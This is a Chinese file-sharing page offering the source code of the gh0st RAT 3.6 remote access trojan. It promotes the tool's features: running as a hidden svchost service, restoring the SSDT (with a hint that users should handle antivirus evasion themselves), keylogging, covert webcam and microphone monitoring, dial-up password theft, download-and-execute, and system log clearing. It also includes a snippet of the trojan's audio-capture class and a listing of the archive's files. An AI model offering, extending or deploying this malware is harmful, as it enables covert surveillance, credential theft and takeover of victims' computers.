资源简介
gh0st RAT是红狼小组出品的一款很优秀的远程控制软件。自从红狼上次公布了gh0st 2.5版本的源代码之后,就一直没开源了,这次更新的gh0st 3.6 又再次开源
Gh0st RAT
C.Rufus Security Team
http://www.wolfexp.net
控制端采用IOCP模型,数据传输采用zlib压缩方式
稳定快速,上线数量无上限,可同时控制上万台主机
控制端自动检测CPU使用率调整自己的工作线程, 稳定高效
宿主为svchost以系统服务启动,有远程守护线程,上线间隔为两分钟。
心跳包机制防止意外掉线..
支持HTTP和DNS上线两种方式
自动恢复SSDT(这功能干什么,大家都知道,免杀自己做吧),安装本程序需要管理员权限
控制端279K,返朴归真的界面,生成的服务端无壳,106 K,EXE内的资源用UPX压缩, 可安装多个服务端
其它细节方面的功能大家自己去发现吧
功能:
文件管理 完全仿Radmin所写, 文件、文件夹批量上传、删除、下载、创建、重命名
屏幕监视 扫描算法速度最快可达到120帧/秒,差异算法适合网络极差的情况下传输,传输速度快,控制屏幕,发送Ctrl+Alt+Del,剪贴板操作,7种色彩显示方式,等......
键盘记录 可记录中英文信息,离线记录(记录上限50M)功能
远程终端 一个简单shell
系统管理 进程管理,窗口管理,拨号上网密码获取
视频查看 查看远程摄像头,快照,录像,压缩等功能...
语音监听 监听远程语音,同时也可以把本地语音传送给远程,进行语音聊天,GSM610压缩方式,传输流畅
会话管理 注销,重启,关机,卸载服务端
其它功能 下载执行指定URL中的程序,隐藏或者显示访问指定网址,清除系统日志
地址位置 将IP数据库文件QQWry.Dat放置程序同目录下即可显示地理位置
集群控制 可同时控制多台主机,同时打开视频监控等管理功能
备注功能 .........
代码片段和文件信息
// Audio.cpp: implementation of the CAudio class.
//
//////////////////////////////////////////////////////////////////////
#include “Audio.h“
//////////////////////////////////////////////////////////////////////
// Construction/Destruction
//////////////////////////////////////////////////////////////////////
CAudio::CAudio()
{
m_hEventWaveIn = CreateEvent(NULL false false NULL);
m_hStartRecord = CreateEvent(NULL false false NULL);
m_hThreadCallBack = NULL;
m_nWaveInIndex = 0;
m_nWaveOutIndex = 0;
m_nBufferLength = 1000; // m_GSMWavefmt.wfx.nSamplesPerSec / 8(bit)
m_bIsWaveInUsed = false;
m_bIsWaveOutUsed = false;
for (int i = 0; i < 2; i++)
{
m_lpInAudioData[i] = new BYTE[m_nBufferLength];
m_lpInAudioHdr[i] = new WAVEHDR;
m_lpOutAudioData[i] = new BYTE[m_nBufferLength];
m_lpOutAudioHdr[i] = new WAVEHDR;
}
memset(&m_GSMWavefmt 0 sizeof(GSM610WAVEFORMAT));
m_GSMWavefmt.wfx.wFormatTag = WAVE_FORMAT_GSM610; // ACM will auto convert wave format
m_GSMWavefmt.wfx.nChannels = 1;
m_GSMWavefmt.wfx.nSamplesPerSec = 8000;
m_GSMWavefmt.wfx.nAvgBytesPerSec = 1625;
m_GSMWavefmt.wfx.nBlockAlign = 65;
m_GSMWavefmt.wfx.wBitsPerSample = 0;
m_GSMWavefmt.wfx.cbSize = 2;
m_GSMWavefmt.wSamplesPerBlock = 320;
}
CAudio::~CAudio()
{
if (m_bIsWaveInUsed)
{
waveInStop(m_hWaveIn);
waveInReset(m_hWaveIn);
for (int i = 0; i < 2; i++)
waveInUnprepareHeader(m_hWaveIn m_lpInAudioHdr[i] sizeof(WAVEHDR));
waveInClose(m_hWaveIn);
TerminateThread(m_hThreadCallBack -1);
}
if (m_bIsWaveOutUsed)
{
waveOutReset(m_hWaveOut);
for (int i = 0; i < 2; i++)
waveOutUnprepareHeader(m_hWaveOut m_lpInAudioHdr[i] sizeof(WAVEHDR));
waveOutClose(m_hWaveOut);
}
for (int i = 0; i < 2; i++)
{
delete [] m_lpInAudioData[i];
delete m_lpInAudioHdr[i];
delete [] m_lpOutAudioData[i];
delete m_lpOutAudioHdr[i];
}
CloseHandle(m_hEventWaveIn);
CloseHandle(m_hStartRecord);
CloseHandle(m_hThreadCallBack);
}
LPBYTE CAudio::getRecordBuffer(LPDWORD lpdwBytes)
{
// Not open WaveIn yet so open it...
if (!m_bIsWaveInUsed && !InitializeWaveIn())
return NULL;
if (lpdwBytes == NULL)
return NULL;
SetEvent(m_hStartRecord);
WaitForSingleobject(m_hEventWaveIn INFINITE);
*lpdwBytes = m_nBufferLength;
return m_lpInAudioData[m_nWaveInIndex];
}
bool CAudio::playBuffer(LPBYTE lpWaveBuffer DWORD dwBytes)
{
if (!m_bIsWaveOutUsed && !InitializeWaveOut())
return NULL;
for (int i = 0; i < dwBytes; i += m_nBufferLength)
{
memcpy(m_lpOutAudioData[m_nWaveOutIndex] lpWaveBuffer m_nBufferLength);
waveOutWrite(m_hWaveOut m_lpOutAudioHdr[m_nWaveOutIndex] sizeof(WAVEHDR));
m_nWaveOutIndex = 1 - m_nWaveOutIndex;
}
return true;
}
bool CAudio::InitializeWaveIn()
{
if (!waveInGetNumDevs())
return false;
MMRESULT mmResult;
DWORD dwThreadID = 0;
m_hThreadCallBack = CreateThread(NULL 0
属性 大小 日期 时间 名称
----------- --------- ---------- ----- ----
目录 0 2012-07-31 23:27 common\
文件 5195 2008-03-27 09:23 common\Audio.cpp
文件 1280 2008-03-19 00:31 common\Audio.h
文件 1810 2008-03-25 01:09 common\CursorInfo.h
文件 4188 2008-05-19 01:06 common\macros.h
文件 3636 2008-03-26 03:07 common\VideoCodec.h
目录 0 2012-07-31 23:27 common\zlib\
文件 7810 2008-01-04 21:42 common\zlib\zconf.h
文件 40900 2008-01-04 21:42 common\zlib\zlib.h
文件 81534 2007-11-14 21:29 common\zlib\zlib.lib
目录 0 2012-10-22 10:49 gh0st\
文件 3598 2008-03-27 09:18 gh0st\AudioDlg.cpp
文件 1652 2008-03-19 11:10 gh0st\AudioDlg.h
文件 1595 2008-03-26 16:55 gh0st\BmpToAvi.cpp
文件 796 2008-03-26 16:57 gh0st\BmpToAvi.h
文件 6088 2008-05-16 01:34 gh0st\BuildView.cpp
文件 1869 2008-05-16 00:25 gh0st\BuildView.h
目录 0 2012-07-31 23:27 gh0st\CJ60Lib\
目录 0 2012-08-01 15:50 gh0st\CJ60Lib\CJ60Lib\
文件 3805 1999-03-14 13:57 gh0st\CJ60Lib\CJ60Lib\CJ60Lib.clw
文件 4852 1999-03-10 23:46 gh0st\CJ60Lib\CJ60Lib\CJ60lib.cpp
文件 188 1998-11-06 03:35 gh0st\CJ60Lib\CJ60Lib\CJ60lib.def
文件 9546 1999-03-12 18:08 gh0st\CJ60Lib\CJ60Lib\CJ60Lib.dsp
文件 2705 1999-02-01 02:02 gh0st\CJ60Lib\CJ60Lib\CJ60Lib.dsw
文件 40 2008-03-26 19:54 gh0st\CJ60Lib\CJ60Lib\CJ60Lib.positions
文件 4590 1999-02-24 13:14 gh0st\CJ60Lib\CJ60Lib\CJ60Lib.rc
文件 8113 2007-12-31 01:08 gh0st\CJ60Lib\CJ60Lib\CJ60StaticLib.dsp
文件 5959 1999-03-14 01:05 gh0st\CJ60Lib\CJ60Lib\CJCaption.cpp
文件 22780 1999-03-14 15:09 gh0st\CJ60Lib\CJ60Lib\CJControlBar.cpp
文件 8363 1999-03-10 23:46 gh0st\CJ60Lib\CJ60Lib\CJDockBar.cpp
文件 13408 1999-03-10 20:30 gh0st\CJ60Lib\CJ60Lib\CJDockContext.cpp
............此处省略244个文件信息
- 上一篇:necp再分析数据
- 下一篇:惠而浦空调遥控协议分析相关文件
评论
共有 条评论